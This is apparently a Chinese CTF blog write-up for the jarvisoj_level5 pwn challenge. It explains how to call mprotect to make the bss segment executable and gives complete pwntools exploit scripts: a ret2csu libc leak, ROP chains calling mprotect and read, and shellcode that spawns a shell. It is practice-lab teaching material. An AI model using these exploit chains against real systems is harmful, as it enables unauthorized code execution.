mprotect修改bss段权限

文章发布时间:

最后更新时间:

文章总字数:
1.2k

预计阅读时间:
5 分钟

这一种办法一般来说不是很实用 当个额外的知识点扩展就好了 难免有的新生赛想考

在程序开启了NX保护的前提下 我们没有办法通过在bss段写入shellcode后覆盖ret addr为shellcode首地址来实现shell

这是因为bss段此时的执行权限为rw-p

意为可读可写 但不可执行 所以位于bss段的shellcode无法发挥作用

但是在c语言中存在一个mprotect函数 其作用为把自start开始的、长度为len的内存区的保护属性修改为prot指定的值

1
mprotect(const void *start, size_t len, int prot)

prot为7时 可以设置内存区域权限为rwx-p 即可读可写可执行 这样就能让shellcode起作用

下面来看一道例题加深理解

jarvisoj_level5

checksec看一下保护机制

1
2
3
4
5
6
7
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/home/chen/pwn'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

没开RELRO 但是开了NX

ida看一下伪代码

1
2
3
4
5
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
return write(1, "Hello, World!\n", 0xEuLL);
}

跟进一下vulnerable_function函数

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

write(1, "Input:\n", 7uLL);
return read(0, buf, 0x200uLL);
}

有一次栈溢出的机会 不同于其他经典的ret2libc题目 这题的plt表只有read和write函数 由于write函数泄露函数真实地址需要控制三个寄存器

所以这里用csu的办法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import*
io = process("./pwn")
#io = remote("node4.buuoj.cn",25692)
context.log_level = "debug"
context.arch = "amd64"
context.terminal = ['tmux','splitw','-h']
elf = ELF("./pwn")
#libc = ELF("buu_libc_ubuntu16_64")
libc = ELF("./locate_libc2.23")

io.recvuntil("Input:")
back_addr = 0x4005e6
gadget1_addr = 0x400690
gadget2_addr = 0x4006AA
write_got = elf.got['write']
bss_addr = 0x600A88+0x50
payload = cyclic(0x80+0x8)+p64(gadget2_addr)
payload += p64(0)+p64(1)+p64(write_got)+p64(0x8)+p64(write_got)+p64(1)+p64(gadget1_addr)
payload += cyclic(56)+p64(back_addr)
io.sendline(payload)
write_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
success(hex(write_addr))
libc_addr = write_addr - libc.sym['write']
success(hex(libc_addr))

接下来就是构造mprotect函数来实现bss段的权限修改

同时解答一下pop rsi和pop rdx两条指令哪来的 这题是动态链接 二进制文件中是不存在这两条指令的

但是如果题目有提供libc文件 也是可以ROPgadget查找libc文件的指令 前提是我们获取了libc基址

1
2
3
4
5
6
7
8
io.recvuntil("Input:")
mprotect_addr = libc_addr + libc.sym['mprotect']
read_addr = libc_addr + libc.sym['read']
rdi_addr = 0x4006b3
rdx_addr = libc_addr + 0x1b92
rsi_addr = libc_addr + 0x202f8
payload = cyclic(0x80+0x8)+p64(rdi_addr)+p64(0x600000)+p64(rsi_addr)+p64(0x1000)+p64(rdx_addr)+p64(7)+p64(mprotect_addr)+p64(back_addr)
io.sendline(payload)

gdb动调看一下mprotect函数是否生效

可以看到0x600000-0x601000的内存区域权限已经被修改为rwxp 可读可写可执行了

那么接下来我们构造read函数 并且将最后的返回地址设置为shellcode首地址 就可以获取shell

1
2
3
4
5
6
7
io.recvuntil("Input:")
bss_addr = 0x600A88+0x50
payload = cyclic(0x80+0x8)+p64(rdi_addr)+p64(0)+p64(rsi_addr)+p64(bss_addr)+p64(rdx_addr)+p64(0x100)+p64(read_addr)+p64(bss_addr)
io.sendline(payload)
shellcode = asm(shellcraft.sh())
io.send(shellcode)
io.interactive()

当题目没有给我们libc文件的时候 这时候我们无法通过libc文件来获取pop rsi和pop rdx指令地址来构造rop链 这时候只能通过csu来

但是csu实现函数调用是使用call指令 call指令需要有一个类似于got表的地址链才能实现

比如: bss_addr(存放着main函数的地址) 这时候call bss_addr 就相当于执行main函数

所以我们跟上面一步相比 还需要多出一个read链来读入mprotect_addr

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import*
io = process("./pwn")
#io = remote("node4.buuoj.cn",25692)
context.log_level = "debug"
context.arch = "amd64"
context.terminal = ['tmux','splitw','-h']
elf = ELF("./pwn")
#libc = ELF("buu_libc_ubuntu16_64")
libc = ELF("./locate_libc2.23")

io.recvuntil("Input:")
back_addr = 0x4005e6
gadget1_addr = 0x400690
gadget2_addr = 0x4006AA
write_got = elf.got['write']
bss_addr = 0x600A88+0x50
payload = cyclic(0x80+0x8)+p64(gadget2_addr)
payload += p64(0)+p64(1)+p64(write_got)+p64(0x8)+p64(write_got)+p64(1)+p64(gadget1_addr)
payload += cyclic(56)+p64(back_addr)
io.sendline(payload)
write_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
success(hex(write_addr))
libc_addr = write_addr - libc.sym['write']
success(hex(libc_addr))
mprotect_addr = libc_addr + libc.sym['mprotect']
read_got = elf.got['read']
io.recvuntil("Input:")
payload = cyclic(0x80+0x8)+p64(gadget2_addr)
payload += p64(0)+p64(1)+p64(read_got)+p64(0x8)+p64(bss_addr)+p64(0)+p64(gadget1_addr)
payload += cyclic(56)+p64(back_addr)
io.sendline(payload)
io.send(p64(mprotect_addr))
io.recvuntil("Input:")
payload = cyclic(0x80+0x8)+p64(gadget2_addr)
payload += p64(0)+p64(1)+p64(bss_addr)+p64(7)+p64(0x1000)+p64(0x600000)+p64(gadget1_addr)
payload += cyclic(56)+p64(back_addr)
io.sendline(payload)
io.recvuntil("Input:")
payload = cyclic(0x80+0x8)+p64(gadget2_addr)
payload += p64(0)+p64(1)+p64(read_got)+p64(0x100)+p64(bss_addr+0x8)+p64(0)+p64(gadget1_addr)
payload += cyclic(56)+p64(bss_addr+0x8)
io.sendline(payload)
shellcode = asm(shellcraft.sh())
io.send(shellcode)
io.interactive()